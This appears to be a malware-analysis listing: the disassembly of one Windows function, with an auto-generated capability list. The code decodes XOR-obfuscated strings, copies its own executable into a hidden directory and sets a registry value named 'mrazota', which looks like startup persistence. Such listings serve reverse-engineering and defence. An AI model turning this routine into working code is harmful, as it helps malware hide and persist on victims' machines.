Function at 0x1400010b8
Capabilities:
Create directory
Delete file
Encode data using xor
Get file size
Read file on windows
Set file attributes
Set registry value
Write file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x10]
sub rsp, 0x110
xor r12d, r12d
lea r8, [0x140000000]
mov word [rbp - 0x5e], r12w
mov ecx, r12d
lea edx, [r12 + 0x1d]
movzx eax, word [rcx + r8 + 0x18b10]
xor ax, word [rcx + r8 + 0x189e0]
lea rcx, [rcx + 2]
not ax
mov word [rsp + rcx + 0x66], ax
sub rdx, 1
jne 0x1400010e6
lea rcx, [rsp + 0x68]
call fcn.140001970
mov rdi, rax
test rax, rax
je 0x140001165
mov esi, r12d
add esi, 0x20
mov ecx, esi
add rcx, rcx
call fcn.140006644
mov rbx, rax
test rax, rax
je 0x14000115d
mov r8d, esi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r14d, eax
test eax, eax
je 0x140001179
mov rcx, rbx
call fcn.140006630
cmp r14d, 0x7a
je 0x14000111f
mov rcx, rdi
call fcn.140006630
xor eax, eax
add rsp, 0x110
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
or r15, 0xffffffffffffffff
mov rax, r15
inc rax
cmp word [rbx + rax*2], r12w
jne 0x140001180
lea edx, [rax + 1]
mov rcx, rbx
add rdx, rdx
call fcn.14000664c
mov rsi, rax
test rax, rax
je 0x14000115d
mov rdx, rax
mov rcx, rdi
sub rdx, rdi
movzx eax, word [rcx]
movzx r8d, word [rcx + rdx]
sub eax, r8d
jne 0x1400011bf
add rcx, 2
test r8d, r8d
jne 0x1400011a9
mov rcx, rsi
test eax, eax
je 0x140001536
mov r14d, 0x80
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r14d
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r14 - 0x7f]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rcx, rsi
mov rbx, rax
call fcn.140006630
test rbx, rbx
je 0x14000115d
lea rdx, [rbp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140001528
cmp dword [rbp + 0x5c], r12d
jne 0x140001528
mov ecx, dword [rbp + 0x58]
call fcn.140006644
mov rsi, rax
test rax, rax
je 0x140001520
mov r8d, dword [rbp + 0x58]
xor r9d, r9d
mov rdx, rax
mov qword [rsp + 0x20], r12
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140001520
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
mov word [rsp + 0x62], r12w
lea edx, [r14 - 0x6f]
lea r8, [0x140000000]
movzx eax, word [rcx + r8 + 0x18b50]
xor ax, word [rcx + r8 + 0x18a20]
lea rcx, [rcx + 2]
not ax
mov word [rsp + rcx + 0x3e], ax
sub rdx, 1
jne 0x140001278
lea rcx, [rsp + 0x40]
call fcn.140001970
mov rbx, rax
test rax, rax
je 0x140001510
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x1400014fd
mov edx, 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x1400014fd
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r14d
mov edx, 0x40000000
mov rcx, rdi
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
test rax, rax
je 0x1400014fd
mov r8d, dword [rbp + 0x58]
xor r9d, r9d
mov rdx, rsi
mov qword [rsp + 0x20], r12
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
test eax, eax
je 0x1400014ed
call fcn.140006630
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
mov word [rbp + 0xa], r12w
mov edx, 0x2d
lea r8, [0x140000000]
movzx eax, word [rcx + r8 + 0x18a50]
xor ax, word [rcx + r8 + 0x18ab0]
lea rcx, [rcx + 2]
not ax
mov word [rbp + rcx - 0x52], ax
sub rdx, 1
jne 0x140001353
lea rax, [rbp + 0x50]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, rdi
test eax, eax
jne 0x1400014e5
call fcn.140006654
mov rsi, rax
test rax, rax
je 0x1400014d8
inc r15
cmp word [rdi + r15*2], r12w
jne 0x1400013b6
mov rax, qword [0x1400189c0]
lea r9, [0x140011460]
mov ecx, r15d
xor edx, edx
mov dword [rsi + rcx*2 - 6], eax
lea r8d, [rdx + 0x17]
movzx eax, word [0x1400189c4]
mov word [rsi + rcx*2 - 2], ax
lea rax, [rbp + 0x60]
lea rcx, [0x140011490]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400014d0
mov rcx, qword [rbp + 0x60]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0xa0]
test eax, eax
js 0x1400014a0
mov rcx, qword [rbp + 0x60]
lea r8, [rbp + 0x68]
lea rdx, [0x140011480]
mov rax, qword [rcx]
call qword [rax]
test eax, eax
js 0x1400014a0
mov rcx, qword [rbp + 0x68]
xor r8d, r8d
mov rdx, rsi
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rbp + 0x50]
lea eax, [r15 + r15]
mov dword [rsp + 0x28], eax
lea rdx, str.mrazota
mov r9d, 1
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140001482
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rsi
call fcn.140006630
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x1400014c4
mov rcx, rsi
call fcn.140006630
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x140001513
mov rcx, rsi
call fcn.140006630
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140001505
call fcn.140006630
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400014e2
mov rcx, rsi
call fcn.140006630
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140001513
mov rbx, rsi
mov rcx, rbx
call fcn.140006630
jmp 0x14000115d
mov rcx, rsi
call fcn.140006630
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000115d
call fcn.140006630
mov rcx, rdi
call fcn.140006630
mov eax, 1
jmp 0x140001167